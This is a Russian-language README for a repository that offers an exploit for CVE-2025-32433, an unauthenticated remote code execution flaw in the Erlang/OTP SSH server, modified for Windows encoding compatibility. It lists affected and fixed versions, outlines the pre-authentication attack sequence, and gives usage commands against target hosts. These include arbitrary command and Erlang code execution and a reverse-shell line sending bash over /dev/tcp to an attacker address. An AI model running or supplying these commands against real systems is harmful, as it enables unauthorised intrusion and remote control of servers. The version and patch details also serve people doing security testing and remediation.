CVE-2025-32433 Эксплойт (совместим с Windows)

Удаленное выполнение кода без аутентификации в Erlang/OTP SSH

Описание

Этот репозиторий содержит эксплойт для CVE-2025-32433, критической уязвимости удаленного выполнения кода без аутентификации в SSH-сервере Erlang/OTP.

Ключевые особенности:

✅ Эксплойт RCE без аутентификации
✅ Исправлена совместимость с кодировкой GBK в Windows
✅ Работает на версиях Erlang/OTP ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19

Детали уязвимости

CVE ID: CVE-2025-32433
Серьезность: Критическая
Влияние: Удаленное выполнение кода без аутентификации

Уязвимость позволяет злоумышленникам выполнять произвольные системные команды на SSH-серверах Erlang/OTP без аутентификации, отправляя специально сформированные сообщения протокола SSH.

Затронутые версии

OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 и старше (вероятно)

Использование

# Basic command execution
python exploit.py -t <target-ip> -p 2222 -c "whoami"

# Execute system command
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"

# Raw Erlang code execution
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'

# Reverse shell
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"

Аргументы

-t, --target    IP-адрес цели (по умолчанию: 127.0.0.1)
-p, --port      Порт цели (по умолчанию: 2222)
-c, --command   Системная команда для выполнения
-e, --erlang    Исходный код Erlang для выполнения

Исправление кодировки Windows

Эта версия исправляет проблему с кодировкой, присутствующую в оригинальном эксплойте:

Проблема: В оригинальном эксплойте использовался символ галочки Unicode (✓, U+2713), что вызывает ошибки кодировки GBK в Windows:

'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence

Решение: Заменен символ Unicode на стандартный символ ASCII + для кроссплатформенной совместимости.

Технические детали

Эксплойт работает следующим образом:

Установление SSH-соединения и обмен баннерами
Отправка пакета SSH_MSG_KEXINIT
Открытие SSH-канала с помощью SSH_MSG_CHANNEL_OPEN
Отправка SSH_MSG_CHANNEL_REQUEST с вредоносной командой exec до аутентификации
Выполнение произвольного кода Erlang через os:cmd()

Ссылки

Исправленные версии

OTP 27.3.3
OTP 26.2.5.11
OTP 25.3.2.20

Отказ от ответственности

Данный эксплойт предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте ответственно и только на системах, на тестирование которых у вас есть явное разрешение.

Лицензия

Лицензия MIT

Автор

Модифицировано для совместимости с Windows пользователем chuzouX

CVE-2025-32433-Exploit-edited

Популярное